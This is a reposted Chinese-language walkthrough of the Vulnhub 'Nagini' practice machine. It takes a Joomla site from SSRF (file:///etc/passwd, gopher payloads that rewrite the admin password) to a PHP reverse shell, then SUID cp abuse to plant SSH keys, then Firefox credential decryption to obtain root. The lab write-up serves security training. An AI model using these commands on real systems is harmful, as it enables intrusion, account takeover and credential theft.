0


【Vulnhub】之Nagini

一、 部署方法

  1. 在官网上下载靶机ova环境:https://download.vulnhub.com/harrypotter/Nagini.ova
  2. 使用VMware搭建靶机环境
  3. 攻击机使用VMware上搭建的kali
  4. 靶机和攻击机之间使用NAT模式,保证靶机和攻击机放置于同一网段中。

二、 靶机下载安装

靶机下载与安装参考之前文章:搭建Vulnhub靶机详细步骤

三、渗透测试

1. 确认目标

扫描网段

arp-scan -l

在这里插入图片描述
确认靶机IP:192.168.15.134

2. 信息收集

使用nmap对靶机深度扫描

nmap -A -T4 -p- 192.168.15.134

在这里插入图片描述

扫描得知,靶机对外开放了22和80端口

浏览器访问80端口:http://192.168.15.134

在这里插入图片描述

发现只有一张图片,我们使用dirsearch扫描下网站目录

dirsearch -u 192.168.15.134

在这里插入图片描述

依次访问下可访问的网站目录(这里note.txt路径可以扫描出来是因为我在字典中添加了,咱们也可以使用其他更丰富的字典扫描)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

通过路径爬取,我们发现了note.txt以及joomla的CMS系统,根据note.txt中提示告诉我们需要使用HTTP3服务访问https://quic.nagini.hogwarts 以便进一步通信。

我们继续使用Joomla专用CMS扫描工具对站点进行扫描,没有的话可以使用

apt install joomscan

命令安装

joomscan -u http://192.168.15.134/joomla

在这里插入图片描述

扫描完成我们发现了configuration.php.bak 文件,下载下来查看,我们发现了数据库的类型,账户密码秘钥等信息。

wget http://192.168.15.134/joomla/configuration.php.bak
cat configuration.php.bak

在这里插入图片描述

3. HTTP3环境访问

根据前面note.txt文件中提示,我们使用http3协议访问下站点。

目前的浏览器都是不支持http3协议的。为了使用HTTP3协议访问域名,需要安装支持http3的客户端程序。

安装quiche浏览器操作步骤:

apt-get update                #更新数据源列表
apt install cargo             #安装cargo组件
apt install cmake             #安装cmake组件
apt purge rustc               #卸载系统自带的rustc
apt-get install git            #安装git
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh   #重新安装最新版本的rustc
执行完上面选择1
source $HOME/.cargo/env       #执行环境变量
git clone --recursive https://github.com/cloudflare/quiche    #下载quiche
cargo build --examples        #运行cargo默认实例的文件
cargo test                    #检查前面所有安装命令
cd  /quiche/target/debug/examples
./http3-client https://192.168.15.134     #利用http3的客户端去访问目标靶机

在这里插入图片描述

根据上述提示可知,存在一个/internalResourceFeTcher.php的文件,且在目标服务器上存在configuration相关的.bak备份配置文件。

这里可以确认此配置文件就是我们之前使用joomscan扫描到的configuration.php.bak文件。

通过浏览器去访问下/internalResourceFeTcher.php文件,可以看到页面显示”欢迎访问内部网络资源获取页面“

在这里插入图片描述

4. 漏洞利用

尝试使用file协议读取本地内容,可以看到成功读取passwd文件内容,判断此处可能存在SSRF漏洞

file:///etc/passwd

在这里插入图片描述

查看当前靶机自己的http服务,在输入框输入:

http://127.0.0.1:80

在这里插入图片描述

可以看到页面访问成功,通过上述两次测试,可确定在该表单位置存在一个ssrf的漏洞。

接下来我们使用gopher协议访问目标靶机的22端口,发现页面回显服务器的SSH服务的版本信息,说明靶机支持gopher协议

gopher://127.0.0.1:22

在这里插入图片描述

根据之前得到的bak配置文件,我们知道服务器启用了Mysql数据库,并且用户名为goblin,密码为空,接下来我们可以使用gopher协议查询Joomla的后台管理员账密,从而登陆至Web后台进行下一步操作。这里我们使用gopherus工具,生成gopher的payload,用于我们使用SSRF漏洞对数据库执行命令。

#安装gopherus工具
git clone https://github.com/tarunkant/Gopherus.git
#进入gopherus工具目录
cd Gopherus
#使用
./gopherus.py --exploit mysql

在这里插入图片描述

输入数据库账户和查询数据库语句后,工具会生成一串gopher协议的payload,使用此payload在浏览器表单中进行提交,即可返回查询语句的结果(这里需要多次提交,我试了几十来次才回显)

在这里插入图片描述

根据返回结果我们得知数据库名称为joomla,接下来我们继续查询数据库下的表名

在这里插入图片描述
在这里插入图片描述

根据结果我们得知存储用户的表名为joomla_users,我们继续查询表下面的数据

在这里插入图片描述
在这里插入图片描述

查看返回结果,我们得到了
用户:site_admin
加密过的密码:$2y

     10 
    
   
  
    10 
   
  
10cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay

尝试后发现密码无法破解,我们尝试使用修改密码的语句在表单中提交修改,因为Mysql数据库支持以MD5形式存放密码,我们先生成一个密码为password的MD5值

echo -n "password" |md5sum
#生成的MD5:5f4dcc3b5aa765d61d8327deb882cf99

在这里插入图片描述

生成MD5后,我们继续使用gopherus工具修改site_admin用户的密码:

在这里插入图片描述
在这里插入图片描述

多次提交,页面回显即修改密码成功。

5. 反弹shell

我们使用修改后的密码登录joomla后台

浏览器输入:http://192.168.15.134/joomla/administrator
账户:site_admin
密码:password

在这里插入图片描述

成功登录,选择Templates中的beez3中的index.php文件

在这里插入图片描述
在这里插入图片描述

对beez3中的index.php文件进行修改,修改php反弹shell代码。这里我们使用kali自带的反弹shell代码,在kali中路径:

/usr/share/webshells/php/php-reverse-shell.php

,用代码中内容替换index.php内容。(记得修改代码中ip为实际kali的IP地址)

在这里插入图片描述

修改完保存后,我们在浏览器输入路径进行访问:

http://192.168.2.199/joomla/templates/beez3/index.php

然后在kali中开启监听:

nc -lvnp 1234

在这里插入图片描述

成功获得www-data的权限,方便操作我们可以升级下shell

/bin/bash -i

在这里插入图片描述

查找目录,我们在/var/www/html目录下发现了第一个魂器:horcrux1.txt

在这里插入图片描述

继续查找,我们在/home文件夹下发现了两个用户hermoine和snape

在这里插入图片描述

在用户snape中,我们发现了隐藏文件.creds.txt,查看文件发现了一串base64代码,怀疑是加密的密码

在这里插入图片描述

对代码进行base64解密,我们发现密码为 Love@lilly

在这里插入图片描述

使用账户snape及密码Love@lilly尝试进行ssh连接

ssh [email protected]

在这里插入图片描述

连接成功,我们继续查看另一个用户hermoine,在目录下我们发现了第二个魂器,但是由于权限问题无法打开,在/home/hermoine/bin目录下发现了su_cp的可执行文件,且该文件开启了SUID权限,属主为hermoine,即该文件运行时会以hermoine用户的身份去运行

在这里插入图片描述

我们可以在kali中生成一个SSH密钥对,将公钥传送到目标靶机,通过这个以hermoine权限执行并具有SUID权限的CP命令,将公钥复制到hermoine用户的SSH目录下即可实现无密码登陆

6. SSH公钥登录

在kali中生成SSH秘钥对

ssh-keygen

在这里插入图片描述

将秘钥从kali传入到靶机snape用户的主目录下:

scp id_rsa.pub [email protected]:~/

在这里插入图片描述

在snape用户下,将文件名更改为授权密钥的名称,在添加权限后远程复制到hermoine的ssh目录下

cd ~
mv id_rsa.pub authorized_keys
chmod 640 authorized_keys
cd /home/hermoine/bin/
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/

在这里插入图片描述

我们现在可以在kali上无密钥直接以hermoine用户登陆至目标靶机,登录成功后我们发现第二个魂器:horcrux2.txt

ssh [email protected]

在这里插入图片描述

7. 提权

在hermoine用户文件夹下,我们发现了隐藏的文件夹.mozilla,该文件夹是在linux操作系统中使用firefox浏览器后,在当前用户的目录下就会生成给.mozilla目录,进入该文件夹,可以发现当前浏览器中的安装的扩展包、配置信息及包括浏览器登录某些web应用后记录下的用户名和密码信息

在这里插入图片描述

我们将.mozilla文件夹拷贝到kali主机

scp -rp [email protected]:/home/hermoine/.mozilla /root

在这里插入图片描述

使用firefox_decrypt工具提取root密码

#下载firefox_decrypt工具
git clone https://github.com/unode/firefox_decrypt.git
#进入工具目录
cd firefox_decrypt
#使用工具
python3 firefox_decrypt.py /root/.mozilla/firefox

在这里插入图片描述

成功提取出root的密码:@Alohomora#123

使用root账户及获取到的密码登录root账户

ssh [email protected]

在这里插入图片描述

登录成功,在根目录下我们发现第三个魂器:horcrux3.txt

在这里插入图片描述


本文转载自: https://blog.csdn.net/zg_111/article/details/130099914
版权归原作者 网络安全小时光 所有, 如有侵权,请联系我们删除。

“【Vulnhub】之Nagini”的评论:

还没有评论